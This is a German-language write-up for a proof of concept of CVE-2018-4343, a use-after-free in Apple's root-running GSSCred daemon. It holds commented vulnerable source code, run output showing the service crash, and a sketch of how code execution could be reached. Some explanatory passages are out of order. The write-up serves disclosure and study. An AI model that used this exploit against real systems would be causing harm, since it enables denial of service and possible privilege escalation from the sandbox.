
CVE-2018-4343: Proof-of-Concept für einen Use-After-Free im GSSCred-Daemon auf macOS und iOS.
Der XPC-Dienst com.apple.GSSCred, der auf macOS und iOS mit Root-Rechten läuft, implementiert den "move"-Befehl nicht ordnungsgemäß, was zu einer Use-after-Free-Bedingung in der Funktion do_Move führt. Der GSSCred-Dienst kann aus der standardmäßigen Anwendungs-Sandbox auf iOS erreicht werden.
Dieses Programm nutzt die Sicherheitslücke aus, um den GSSCred-Dienst zum Absturz zu bringen. Die Ausführung von Code in GSSCred hängt davon ab, dass der freigegebene Speicher während des Race-Fensters mit kontrollierten Daten überschrieben wird. Getestet auf macOS High Sierra 10.13.2 Beta 17C79a.
Hier sind die relevanten Teile von do_Move aus Heimdal-520, wobei einige unwichtige Fehlerprüfungen weggelassen wurden:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
Dieser Code macht Folgendes:
from und to, aus der XPC-Anfrage. Die Anfrage ist vollständig kontrollierbar, sodass wir die Werte dieser UUIDs willkürlich festlegen können. Es gibt keine Überprüfung, ob diese beiden UUIDs identisch sind.credfrom und credto, die den jeweiligen UUIDs from und to entsprechen. Das Wörterbuch peer->session->items speichert alle Anmeldeinformationen, die GSSCred im Auftrag des aktuell verbundenen Client-Programms verwaltet. Beachten Sie, dass die Funktion CFDictionaryGetValue einen Verweis auf die HeimCredRef-Objekte zurückgibt, aber deren Referenzzähler nicht erhöht. Wenn insbesondere from und to dieselbe UUID sind, zeigen sowohl credfrom als auch credto auf dieselbe HeimCredRef mit einem Referenzzähler von 1 (gehalten durch das enthaltende CFDictionary).Dieses Programm versucht nicht, dieses Race-Fenster zu gewinnen. Stattdessen lässt es den Destruktor von HeimCredRef das attributes-Feld auf Null setzen, was eine Dereferenzierung eines NULL-Zeigers in CFDictionaryGetValue auslöst.
Zum Erstellen make ausführen. Siehe oben in der Makefile für verschiedene Build-Optionen.
Das Ausführen des Exploits zeigt die Sequenz der mit GSSCred ausgetauschten XPC-Nachrichten an:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
Die XPC-Ereignisse "Connection interrupted" zeigen an, dass die XPC-Verbindung unterbrochen wurde, wahrscheinlich weil GSSCred abgestürzt ist.
Der GSSCred-move-uaf-Code wird als Public Domain veröffentlicht. Als Höflichkeit bitte ich darum, dass Sie, falls Sie diesen Code referenzieren oder verwenden, mich als Urheber nennen.
credfrom aus dem Wörterbuch peer->session->items entfernt. Dies ist normalerweise sicher, da bei unterschiedlichen UUIDs von from und to das Objekt credfrom freigegeben wird und danach nie wieder referenziert wird. Wenn jedoch from und to identisch sind, wird es Probleme geben, da credto später referenziert wird.credto gleich NULL ist. Da credfrom und credto gleich sind und credfrom nicht NULL war, gelangen wir in den else-Zweig.credto, um das attributes-Feld zu lesen, das als erster Parameter an CFDictionaryGetValue übergeben wird. Wenn der freigegebene Speicher, auf den credto zeigt, in der Zwischenzeit neu zugewiesen wurde und sich die Position des attributes-Felds geändert hat, um auf ein speziell präpariertes gefälschtes CFDictionary-Objekt zu zeigen, sollte es mit diesem Schritt möglich sein, Code auszuführen.